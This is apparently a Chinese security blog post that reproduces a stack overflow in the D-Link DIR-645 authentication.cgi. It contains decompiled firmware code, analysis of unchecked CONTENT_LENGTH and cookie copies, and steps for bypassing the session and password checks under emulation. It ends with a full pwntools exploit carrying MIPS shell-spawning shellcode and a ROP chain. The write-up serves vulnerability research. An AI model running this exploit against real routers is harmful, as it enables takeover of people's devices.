D-Link-DIR-645溢出漏洞复现
发表于:2023-04-28 |
字数统计: 3.8k | 阅读时长: 19分钟 | 阅读量:

前言

本以为照着书可以完成复现,但书上的固件貌似和我的不太一样,可能是我下的固件更新了吧,也可能是真机环境不一样(概率很小),搜了很多博客也没有提到后面的检查代码,不管了,硬刚吧。

固件下载及提取

固件下载地址:http://files.dlink.com.au/Products/DIR-645/REV_A/Firmware/DIR645_FW103B11/

1
2
unzip DIR645A1_FW103B11.zip#解压
binwalk -e DIR645A1_FW103B11.bin#提取

漏洞分析

根据《揭秘家用路由器0day漏洞挖掘技术》,已知漏洞组件是authentication.cgi,其指向和上一篇文章一样指向cigbin,将其托入ida中分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
int __fastcall authenticationcgi_main(int a1, _DWORD *a2)
{
char *request_method; // $s1
int v4; // $s5
char *v5; // $s4
int v6; // $s1
unsigned int v7; // $s0
int v8; // $a3
int v9; // $a2
unsigned int v10; // $v0
int *v11; // $s0
unsigned int v12; // $hi
char v13; // $a0
int v14; // $s0
ssize_t v15; // $v1
int v16; // $s1
unsigned int v17; // $s0
char *v18; // $v0
char *v19; // $s0
int v20; // $s0
int v21; // $v0
const char **v22; // $s2
int i; // $s1
const char *v24; // $s0
char *v25; // $v0
const char *v26; // $a1
const char *v27; // $a2
int v28; // $v0
int v29; // $s0
_DWORD *v30; // $s3
_DWORD *v31; // $s4
_DWORD *v32; // $s2
int v33; // $s1
const char *v34; // $s0
char *string; // $v0
char *v36; // $v0
struct sysinfo *v37; // $s1
size_t v38; // $v0
size_t v39; // $s2
int v40; // $s0
int v41; // $v0
struct sysinfo *v42; // $s1
size_t v43; // $v0
size_t v44; // $s2
int v45; // $s0
int v46; // $v0
char *v47; // $v0
const char *v48; // $s4
int v49; // $s3
unsigned int v50; // $s0
char *v52; // [sp+10h] [-F58h]
int v53; // [sp+20h] [-F48h] BYREF
char v54[16]; // [sp+24h] [-F44h] BYREF
struct sysinfo v55; // [sp+34h] [-F34h] BYREF
char v56[128]; // [sp+74h] [-EF4h] BYREF
char v57[128]; // [sp+F4h] [-E74h] BYREF
int v58[33]; // [sp+174h] [-DF4h] BYREF
char v59[128]; // [sp+1F8h] [-D70h] BYREF
unsigned int v60; // [sp+278h] [-CF0h]
int v61[58]; // [sp+27Ch] [-CECh] BYREF
unsigned int v62; // [sp+364h] [-C04h] BYREF
int v63; // [sp+368h] [-C00h]
char v64[160]; // [sp+3ACh] [-BBCh] BYREF
char v65[256]; // [sp+44Ch] [-B1Ch] BYREF
int v66[67]; // [sp+54Ch] [-A1Ch] BYREF
int v67[97]; // [sp+658h] [-910h] BYREF
char v68[256]; // [sp+7DCh] [-78Ch] BYREF
char v69[132]; // [sp+8DCh] [-68Ch] BYREF
char v70[512]; // [sp+960h] [-608h] BYREF
char v71[1024]; // [sp+B60h] [-408h] BYREF
char *haystack; // [sp+F60h] [-8h]
char *dest; // [sp+F64h] [-4h]

request_method = getenv("REQUEST_METHOD");
memset(v61, 0, sizeof(v61));
memset(v67, 0, sizeof(v67));
memset(v58, 0, sizeof(v58));
v4 = sub_40A370((const char *)*a2);
if ( !request_method )
goto LABEL_95;
if ( v4 == 1 || v4 == 3 ) // 如果调用logout.cgi
{
v5 = getenv("REMOTE_ADDR");
if ( sub_40A424((int)v68) < 0 )
goto LABEL_16;
v6 = sub_40A82C(&v62, v69, v4);
if ( v6 < 0 )
goto LABEL_16;
if ( v63 < 0 )
goto LABEL_16;
v7 = v62;
sysinfo(&v55);
if ( v7 < v55.uptime )
goto LABEL_16;
if ( strcmp(v5, v64) )
goto LABEL_16;
sysinfo(&v55);
v62 = v55.uptime + 600;
sub_40A69C(&v62, v6, 1, v4);
if ( v63 < 0 )
goto LABEL_16;
if ( sub_40A424((int)v68) < 0 )
goto LABEL_16;
v8 = sub_40A82C(&v62, v69, v4);
if ( v8 < 0 )
goto LABEL_16;
if ( v4 == 1 )
sprintf(v65, "%s/%d", "/var/session", v8);
else
sprintf(v65, "%s/webfa%d", "/var/session", v8);
if ( unlink(v65) >= 0 )
v9 = 10;
else
LABEL_16:
v9 = 11;
goto LABEL_96;
}
if ( !strcmp(request_method, "GET") ) // if GET
{
v10 = time(0);
v11 = v58;
srand(v10);
do // produce random string
{
v12 = rand() % 0x3E;
v13 = v12 + '0';
if ( v12 >= 0xA && (v13 = v12 + 0x37, v12 - 10 >= 0x1A) )
{
if ( v12 - 0x24 >= 0x1A )
*(_BYTE *)v11 = '0';
else
*(_BYTE *)v11 = v12 + 0x3D;
}
else
{
*(_BYTE *)v11 = v13;
}
v11 = (int *)((char *)v11 + 1);
}
while ( v11 != (int *)((char *)&v58[2] + 2) );
BYTE2(v58[2]) = 0;
v14 = open("/proc/sys/kernel/random/uuid", 0, v12 - 10 < 0x1A);
v15 = read(v14, &v58[16], 0x40u);
if ( v15 >= 37 )
v15 = 36;
*((_BYTE *)&v58[16] + v15) = 0;
close(v14);
sysinfo(&v55);
v58[32] = v55.uptime + 600;
v16 = 1;
do
{
if ( sub_40A960(v59, v16, 0) < 0 )
goto LABEL_32;
v17 = v60;
sysinfo(&v55);
++v16;
if ( v17 < v55.uptime )
{
--v16;
LABEL_32:
sysinfo(&v55);
v58[32] = v55.uptime + 600;
sub_40A960(v58, v16, 1);
v9 = 0;
goto LABEL_96;
}
}
while ( v16 != 129 );
v9 = 1;
goto LABEL_96;
}
if ( strcmp(request_method, "POST") )
{
LABEL_95:
v9 = 4;
goto LABEL_96;
}
memset(v67, 0, sizeof(v67));
v19 = getenv("CONTENT_TYPE");
v18 = getenv("CONTENT_LENGTH");
if ( !v19
|| !v18
|| (v20 = atoi(v18), v21 = fileno(stdin), read(v21, v71, v20) < 0)// input 也会出现溢出,只要控制length>1024
|| (v71[v20] = 0, sub_40A424((int)v67) < 0) )
{
LABEL_51:
v9 = 5;
goto LABEL_96;
}
haystack = v71;
dest = (char *)v67;
v22 = (const char **)off_43308C;
for ( i = 0; i != 2; ++i ) // id=&password=
{
v24 = *v22;
v25 = strstr(haystack, *v22);
v26 = &v25[strlen(v24)]; // v25+len(v24)
v27 = v26;
while ( 1 ) // 读取id=之后&之前的内容
{
v28 = *v27;
if ( v28 == '&' )
break;
++v27;
if ( !v28 )
{
--v27;
break;
}
}
v29 = v27 - v26; // id的大小
if ( i ) // 如果是password
{
if ( i != 1 )
goto LABEL_51;
strncpy((char *)&v67[32], v26, v27 - v26);// v67+0x80 没控制password大小
*((_BYTE *)&v67[32] + v29) = 0;
}
else // 如果是id
{
strncpy(dest, v26, v27 - v26);
*((_BYTE *)v67 + v29) = 0;
}
++v22;
}
memset(v58, 0, sizeof(v58));
if ( sub_40AACC(v58, &v67[64]) < 0 ) // 检查cookie,因此cookie必须存在
{
v9 = 6;
goto LABEL_96;
}
if ( v4 )
{
if ( v4 != 2 )
goto LABEL_85;
if ( !fopen("/var/run/storage_account_root", "r") )
{
v9 = 12;
goto LABEL_96;
}
memset(v66, 0, sizeof(v66));
v66[1] = (int)v67;
if ( check_id_password(v66, v56) >= 0 )
{
sprintf(v70, "%s%s", (const char *)v67, (const char *)&v58[16]);
v42 = (struct sysinfo *)v54;
v44 = strlen(v70);
v43 = strlen(v56);
v52 = v54;
((void (__fastcall *)(char *, size_t, char *, size_t))hmac_md5)(v70, v44, v56, v43);
v45 = 0;
do
{
v46 = sprintf(&v57[v45], "%02x", LOBYTE(v42->uptime));
v42 = (struct sysinfo *)((char *)v42 + 1);
v45 += v46;
}
while ( v42 != &v55 );
if ( !strcmp(v57, (const char *)&v67[32]) )
{
v67[96] = 0;
goto LABEL_85;
}
}
LABEL_84:
v9 = 3;
goto LABEL_96;
}
memset(v66, 0, sizeof(v66));
v66[1] = (int)v67;
v66[0] = -1;
v53 = 0;
v30 = sobj_new();
v31 = sobj_new();
v32 = sobj_new();
v33 = xs_fopen("/var/passwd", "r");
if ( v33 )
{
if ( !v30 )
goto LABEL_65;
if ( v31 && v32 )
{
while ( 1 )
{
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v30, 0, &v53) <= 0 )
break;
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v31, 0, &v53) <= 0 )
break;
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v32, 0, &v53) <= 0 )
break;
v34 = (const char *)v66[1]; // id
string = sobj_get_string((int)v30);
if ( !strcmp(v34, string) )
{
v66[2] = sobj_strdup(v31);
v36 = sobj_get_string((int)v32);
v66[0] = atoi(v36);
break;
}
sobj_free(v30);
sobj_free(v31);
sobj_free(v32);
}
}
}
else if ( !v30 )
{
goto LABEL_65;
}
sobj_del(v30);
LABEL_65:
if ( v31 )
sobj_del(v31);
if ( v32 )
sobj_del(v32);
if ( v33 )
xs_close(v33);
if ( v66[0] < 0 )
goto LABEL_84;
sprintf(v70, "%s%s", (const char *)v67, (const char *)&v58[16]);
v37 = (struct sysinfo *)v54;
v39 = strlen(v70);
v38 = strlen((const char *)v66[2]);
v52 = v54;
((void (__fastcall *)(char *, size_t, int, size_t))hmac_md5)(v70, v39, v66[2], v38);
v40 = 0;
do
{
v41 = sprintf(&v56[v40], "%02X", LOBYTE(v37->uptime));
v37 = (struct sysinfo *)((char *)v37 + 1);
v40 += v41;
}
while ( v37 != &v55 );
if ( strcmp(v56, (const char *)&v67[32]) )
goto LABEL_84;
v67[96] = v66[0];
LABEL_85:
memset(v66, 0, sizeof(v66));
v66[1] = (int)v67;
if ( check_id_password(v66, v57) >= 0 // v66[3]=storage_id;v57=storage_passwd
&& (strcpy((char *)v67, (const char *)&v66[3]), v47 = getenv("REMOTE_ADDR"), (v48 = v47) != 0)// remote_addr 必须存在
&& (v49 = 1, *v47) )
{
memset(v61, 0, sizeof(v61));
while ( sub_40A69C(v61, v49, 0, v4) >= 0 )
{
v50 = v61[0];
sysinfo(&v55);
++v49;
if ( v50 < v55.uptime )
{
--v49;
break;
}
if ( v49 == 129 )
goto LABEL_100;
}
memset(v61, 0, sizeof(v61));
strncpy((char *)&v61[2], (const char *)&v67[64], 0x40u);
strncpy((char *)&v61[22], (const char *)v67, 0x80u);
strncpy((char *)&v61[18], v48, 0x10u);
sysinfo(&v55);
v61[0] = v55.uptime + 600;
v61[1] = v67[96];
sub_40A69C(v61, v49, 1, v4);
sub_40ABE4(&v61[2]);
v9 = 2;
}
else
{
LABEL_100:
v9 = 8;
}
LABEL_96:
error_print((char *)v67, (int)v58, v9);
return 0;
}

代码很长我们一步一步分析

首先确定输入的参数是否满足下面四个字符串,返回值赋值给v4

image-20230430093835922

已知输入不是logout,因此跳过

image-20230430093718398

判断是GET请求还是POST请求,已知漏洞存在于POST请求,跳过

image-20230430094127604

获得类型和长度,这里长度并没有做检查,stdin是输入流,因此,只要我们将CONTENT_LENGTH值构造的非常大,即可造成溢出,紧接着进入sub_40a424函数

image-20230430094257985

这个函数类似于上一边分析的sess_get_uid函数,当参数HTTP_COOKIE不存在时,会获取参数REMOTE_ADDR,同样REMOTE_ADDR的长度也没有限制,因此,当调用strcpy赋值时,会发生溢出,但后续操作会对cookie进行检查,若没有cookie,程序报错,因此,该溢出无法利用。当参数HTTP_COOKIE存在时,格式为uid=,=号后是我们可控的数据,没有对长度进行检查,因此也会发生溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int __fastcall sub_40A424(int a1)
{
_DWORD *v1; // $s2
char *v2; // $v0
_DWORD *v3; // $s3
char *v4; // $s4
int v5; // $s1
int v6; // $s0
char *string; // $v0

v1 = sobj_new();
v3 = sobj_new();
v2 = getenv("HTTP_COOKIE");
if ( !v1 || !v3 || (v4 = v2) == 0 )
{
LABEL_21:
string = getenv("REMOTE_ADDR");
goto LABEL_22;
}
v5 = 0;
while ( 1 )
{
v6 = *v4;
if ( !*v4 )
break;
if ( v5 == 1 )
goto LABEL_11;
if ( v5 < 2 )
{
if ( v6 == ' ' ) // 空格跳过
goto LABEL_18;
sobj_free(v1);
sobj_free(v3);
LABEL_11:
if ( v6 == ';' )
{
v5 = 0;
}
else
{
v5 = 2;
if ( v6 != '=' )
{
sobj_add_char(v1, v6);
v5 = 1;
}
}
goto LABEL_18;
}
if ( v5 == 2 ) // 不是‘ ’、‘;’、‘=’
{
if ( v6 == ';' )
{
v5 = 3;
goto LABEL_18;
}
sobj_add_char(v3, *v4++);
}
else
{
v5 = 0;
if ( !sobj_strcmp(v1, "uid") )
goto LABEL_30;
LABEL_18:
++v4;
}
}
if ( sobj_strcmp(v1, "uid") )
goto LABEL_21;
LABEL_30:
string = sobj_get_string((int)v3);
LABEL_22:
strcpy((char *)(a1 + 0x100), string); // 没有cookie remote_addr 溢出,但后续有cookie检查因此无法利用
// 有cookie,则存为cookie
if ( v1 )
sobj_del(v1);
if ( v3 )
sobj_del(v3);
return 0;
}

对输入格式进行检查,必须为id=&password这样的格式,同样,在调用strncpy()时,没有对v27-v26的大小进行检查,id=后的输入会被复制到dest中,dest是栈上的指针,而password=后的输入会被直接复制到栈上,也会造成溢出

image-20230430095754275

分析到这,在《揭秘家用路由器0day漏洞挖掘技术》一书中,并没有给出后续代码的分析了,直接利用之前read()处的溢出漏洞直接构造ROP,但在我漏洞复现的时候并不能这么舒服的构造pyload,因为后续还有非常多的代码对我们的输入进行了检查,上网搜的复现博客也并没有提到后续的检查代码,我甚至怀疑是因为我下载的固件打了补丁吗?但如果打了补丁为什么read()函数处的漏洞依然存在。难道是因为真实机器环境不一样吗?但后续检查代码会打开/var/session、/var/run/storage_account_root等文件进行检查,即使真机中存在这些文件,但其内容肯定不像书中构造的payload那样简单,如果有书中肯定也会提及。因此,在查阅了大量信息依旧无果后,决定硬刚。

先回忆下重要参数:v71是我们的输入、v67[0]v67[31]是id,v67[32]v67[63]是password,v67[64]~v67[95]是cookie

我们先看第一个检查,进入sub_40AACC函数

image-20230430102054581

发现这里有个strcmp()参数为a1,a2,已知a2是我们的输入cookie,因此只需要确定a1即可,a1被复制给v5,因此进入sub_40A960函数

image-20230430103016071

sub_40A960函数代码如下,其中打开了/var/session/c-num文件,并读取0x84个字节作为cookie,由于cookie是随机生成的因此,我们创建文件/var/session/c1,并在文件中写入0x84个‘a’,即可绕过该检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall sub_40A960(void *a1, int a2, int a3)
{
int v5; // $v0
int v6; // $s1
int v7; // $s0
int v8; // $v0
char v10[64]; // [sp+18h] [-40h] BYREF

sprintf(v10, "%s/c%d", "/var/session", a2);#打开文件
if ( a3 )#a3为0,跳过
{
if ( a3 == 1 )
{
v8 = open(v10, 770, 511);
v6 = v8;
if ( v8 )
{
v7 = -1;
if ( lockf(v8, 1, 0) )
goto LABEL_12;
v7 = 0;
if ( write(v6, a1, 0x84u) )
goto LABEL_12;
goto LABEL_11;
}
}
return -1;
}
v5 = open(v10, 2);
v6 = v5;
if ( !v5 )
return -1;
v7 = -1;
if ( lockf(v5, 1, 0) )
goto LABEL_12;
v7 = 0;
if ( read(v6, a1, 0x84u) == 0x84 )#必须从文件中读入0x84个字节
goto LABEL_12;
LABEL_11:
v7 = -1;
LABEL_12:
close(v6);
return v7;
}

我们接着看一下第二个检查,代码如下,打开了/var/passwd文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 memset(v66, 0, sizeof(v66));
v66[1] = (int)v67;
v66[0] = -1;
v53 = 0;
v30 = sobj_new();
v31 = sobj_new();
v32 = sobj_new();
v33 = xs_fopen("/var/passwd", "r");
if ( v33 )
{
if ( !v30 )
goto LABEL_65;
if ( v31 && v32 )
{
while ( 1 )
{
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v30, 0, &v53) <= 0 )
break;
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v31, 0, &v53) <= 0 )
break;
sobj_xstream_eatwhite(v33);
if ( sobj_xstream_read(v33, v32, 0, &v53) <= 0 )
break;
v34 = (const char *)v66[1]; // id
string = sobj_get_string((int)v30);
if ( !strcmp(v34, string) )
{
v66[2] = sobj_strdup(v31);
v36 = sobj_get_string((int)v32);
v66[0] = atoi(v36);
break;
}
sobj_free(v30);
sobj_free(v31);
sobj_free(v32);
}
}
}
else if ( !v30 )
{
goto LABEL_65;
}
sobj_del(v30);
LABEL_65:
if ( v31 )
sobj_del(v31);
if ( v32 )
sobj_del(v32);
if ( v33 )
xs_close(v33);
if ( v66[0] < 0 )
goto LABEL_84;

其中sobj_xstream_eatwhite()如下,通过pwngdb动态调试,可知xs_getc()是读取文件中的数据,当遇到‘ ’、‘\t’、‘\n’、‘\r’时跳出,并且我们可以看到有该函数调用了3次,同时,看上面的代码发现strcmp()的参数v34和string,string是文件中的内容,v34是我们输入的id,因此创建/var/passwd文件并在文件中输入‘1234 5678 90’即可绕过第二次检查

image-20230430104703571

我们再来看一下第三次检查,首先第一个sprintf函数的后两个参数一个是v67即我们的输入id,最后一个参数&v58[16]是第一次检查中存储的cookie的第0x40位的地址,因此,将id和cookie的第0x40后的数据拼接在一起后对其进行md5,将得到的md5值与我们输入的密码进行比较。因此,可知密码即为md5(id+cookie[0x40])。但该md5似乎不是常规的md5,如果可以知道该该算法具体细节,即可以很轻松的获取密码

image-20230430105254362

现在进行最后一次检查,进入check_id函数

image-20230430110033072

check_id函数代码如下,打开了/var/run/storage_account_root文件,文件内容格式需为id:passwd,但该函数仅进行了一次strncasecmp()比较,仅比较了id,没有对passwd进行检查。创建该文件,向文件中写入‘1234:任意’,即可绕过最后一次检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __fastcall sub_40AC6C(int a1, int a2)
{
FILE *v4; // $s2
const char *v5; // $s0
char *v6; // $v0
int v7; // $s1
const char *id; // $s0
size_t v9; // $s1
bool v10; // dc
size_t v11; // $v0
char *passwd; // $s0
signed int v13; // $a3
int v14; // $a0
signed int i; // $v1
int v16; // $v0
_BYTE *v17; // $a1
int v18; // $v0
char *v19; // $a2
int v20; // $s0
void *ptr; // [sp+18h] [-108h] BYREF
int v23; // [sp+1Ch] [-104h] BYREF
char v24[256]; // [sp+20h] [-100h] BYREF

ptr = 0;
v23 = 0;
v4 = fopen("/var/run/storage_account_root", "r");
if ( v4 )
{
while ( getline(&ptr, &v23, v4) != -1 )
{
v5 = (const char *)ptr;
v6 = strchr((const char *)ptr, ':');
v7 = v6 - v5;
if ( !v6 )
break;
strncpy(v24, v5, v6 - v5);
id = *(const char **)(a1 + 4); // id:password
v24[v7] = 0;
v9 = strlen(id);
v10 = strncasecmp(v24, id, v9) != 0; // 大小写忽略比较账号
v11 = v9 + 1;
if ( !v10 )
{
passwd = (char *)ptr + v11;
v13 = strlen((const char *)ptr + v11);
v14 = 0;
for ( i = 0; ; ++i )
{
v19 = &passwd[i];
if ( i >= v13 )
break;
v16 = *v19;
v17 = (_BYTE *)(a2 + v14);
if ( v16 == '\\' ) // if password include '\',后面不是‘,’、‘\’,跳过这个‘\’
{
v18 = v19[1];
if ( v18 == ',' || v18 == '\\' )
{
*v17 = v18;
++v14;
++i;
}
}
else
{
++v14;
if ( v16 == ',' ) // if ',',break
{
*v17 = 0;
break;
}
*v17 = v16;
}
}
strcpy((char *)(a1 + 12), v24);
v20 = 0;
goto LABEL_18;
}
}
}
v20 = -1;
LABEL_18:
if ( ptr )
free(ptr);
return v20;
}

现在所有检查都通过我们创建文件进行了绕过,在真实环境中,我们只需要获取账号即id以及cookie值(不知道bp抓包可不可以,可惜没有真机,要是有一定试试),就可以利用该溢出漏洞。

现在我们来构造我们的payload,我们只需要利用read(),由于read()不会被\x00截断,因此可以利用这一点来构造我们的payload,剩下的就比较简单了,和上一篇的payload相似,直接给出完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level='debug'
context.arch='mips'
libc=ELF('./lib/libc.so.0')

libc_base=0x3ff38000
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

payload=b'id=1234&password=4B029816680A9C33518C58E91D476787'+b'\x00'+b'c'*(128-32)
payload+=b'a'*132+b'\x00'+b'a'*(789-0x18)
#b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj'
payload+=p32(libc_base+0x159d8)*4+b'aaaa'+p32(libc_base+0x42120)+p32(libc_base+0x47d5c)
payload.ljust(0x437,b'a')
payload+=b'a'*0x20+shellcode
len1=len(payload)

io=process(argv=['./qemu','-g','1234','-L','./','-E','CONTENT_LENGTH=1379','-E','CONTENT_TYPE=application/x-www-form-urlencodede','-E','SCRIPT_NAME=common','-E','REQUEST_METHOD=POST','-E', 'HTTP_COOKIE=uid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','-E', 'REQUEST_URI=/authentication.cgi','-E','REMOTE_ADDR=192.168.1.1','/htdocs/web/authentication.cgi'])
io.sendline(payload)
io.interactive()
上一篇:
vivotek摄像头溢出漏洞复现
下一篇:
D-Link-DIR-815栈溢出漏洞复现